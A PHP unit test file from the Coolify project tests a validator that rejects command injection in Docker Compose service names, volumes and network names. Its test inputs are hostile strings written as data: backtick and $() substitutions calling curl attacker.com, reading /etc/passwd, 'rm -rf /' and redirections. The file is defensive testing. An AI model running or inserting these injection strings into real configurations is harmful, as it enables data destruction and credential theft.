Files
coolify/tests/Unit/PreSaveValidationTest.php
Andras Bacsai ea1199bf8e fix(compose): allow required and alternative variables in network names
Accept the `?`, `:?`, `+` and `:+` interpolation operators in Compose
network names, such as `${CONTAINER_NAME?error}`. The validation added
in v4.4.0 only knew `-` and `:-`, so these valid files stopped deploying.

The text after `?` is an error message and is not used as the default of
the created environment variable. Unsafe operands are still rejected.

Fixes #12126
2026-10-09 08:45:03 +02:00

324 lines
9.7 KiB
PHP

<?php
test('validateDockerComposeForInjection blocks malicious service names', function () {
$maliciousCompose = <<<'YAML'
services:
evil`curl attacker.com`:
image: nginx:latest
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service name');
});
test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/pwn`curl attacker.com`:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- type: bind
source: '/tmp/pwn`curl attacker.com`'
target: /app
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks command substitution in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '$(cat /etc/passwd):/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks pipes in service names', function () {
$maliciousCompose = <<<'YAML'
services:
web|cat /etc/passwd:
image: nginx:latest
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service name');
});
test('validateDockerComposeForInjection blocks semicolons in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/test; rm -rf /:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection allows legitimate compose files', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- /var/www/html:/usr/share/nginx/html
- app-data:/data
db:
image: postgres:15
volumes:
- db-data:/var/lib/postgresql/data
volumes:
app-data:
db-data:
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection allows environment variables in volumes', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '${DATA_PATH}:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks malicious env var defaults', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '${DATA:-$(cat /etc/passwd)}:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection requires services section', function () {
$invalidCompose = <<<'YAML'
version: '3'
networks:
mynet:
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Docker Compose file must contain a "services" section');
});
test('validateDockerComposeForInjection handles empty volumes array', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes: []
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks newlines in volume paths', function () {
$maliciousCompose = "services:\n web:\n image: nginx:latest\n volumes:\n - \"/tmp/test\ncurl attacker.com:/app\"";
// YAML parser will reject this before our validation (which is good!)
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks redirections in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/test > /etc/passwd:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection validates volume targets', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/safe:/app`curl attacker.com`'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection handles multiple services', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- /var/www:/usr/share/nginx/html
api:
image: node:18
volumes:
- /app/src:/usr/src/app
db:
image: postgres:15
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks invalid top-level network names', function () {
$invalidCompose = <<<'YAML'
services:
web:
image: nginx:latest
networks:
"app'network":
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Invalid Docker Compose network name');
});
test('validateDockerComposeForInjection blocks invalid service network list items', function () {
$invalidCompose = <<<'YAML'
services:
web:
image: nginx:latest
networks:
- "app'network"
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service network');
});
test('validateDockerComposeForInjection blocks invalid service network map keys', function () {
$invalidCompose = <<<'YAML'
services:
web:
image: nginx:latest
networks:
"app'network":
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service network');
});
test('validateDockerComposeForInjection blocks invalid compose network name fields', function () {
$invalidCompose = <<<'YAML'
services:
web:
image: nginx:latest
networks:
frontend:
name: "app'network"
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Invalid Docker Compose network name field');
});
test('validateDockerComposeForInjection allows legitimate compose networks', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
networks:
- frontend
- backend
networks:
frontend:
backend:
name: app-backend
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection allows variables in compose network name fields', function (string $name) {
$compose = <<<YAML
services:
app:
image: nginx:latest
networks:
- shared
networks:
shared:
external: true
name: '{$name}'
YAML;
expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class);
})->with([
'variable' => ['${SHARED_NETWORK}'],
'variable with a default' => ['${SHARED_NETWORK:-traefik_public}'],
'variable with an unset-only default' => ['${SHARED_NETWORK-traefik-public.1}'],
'required variable' => ['${SHARED_NETWORK?error}'],
'required non-empty variable' => ['${SHARED_NETWORK:?missing}'],
]);
test('validateDockerComposeForInjection still blocks unsafe compose network names with variables', function (string $name, string $where) {
$networkKey = $where === 'key' ? $name : 'shared';
$nameField = $where === 'name' ? $name : 'shared';
$compose = "services:\n app:\n image: nginx:latest\nnetworks:\n ".json_encode($networkKey).":\n name: ".json_encode($nameField)."\n";
expect(fn () => validateDockerComposeForInjection($compose))->toThrow(Exception::class, 'Invalid Docker Compose network name');
})->with([
'default with shell characters' => ['${NET:-bad name;id}', 'name'],
'default with command substitution' => ['${NET:-$(id)}', 'name'],
'command substitution' => ['$(id)', 'name'],
'backticks' => ['`id`', 'name'],
'text around a variable with command substitution' => ['prefix_${NET}$(id)', 'name'],
'nested variable' => ['${NET:-${OTHER}}', 'name'],
'invalid variable name' => ['${1NET}', 'name'],
'required variable with command substitution in the message' => ['${NET:?$(id)}', 'name'],
'newline' => ["\${NET}\nid", 'name'],
'variable as network key' => ['${NET}', 'key'],
]);
test('validateDockerComposeForInjection accepts network names that mix variables and text', function (string $name) {
$compose = "services:\n app:\n image: nginx:latest\nnetworks:\n shared:\n name: ".json_encode($name)."\n";
expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class);
})->with([
'prefix and variable' => ['prefix_${NET}'],
'project default network' => ['${COMPOSE_PROJECT_NAME}_default'],
'variable with default inside text' => ['app-${APP_ENV:-prod}-net'],
'bare variable' => ['$PREFIX.edge'],
]);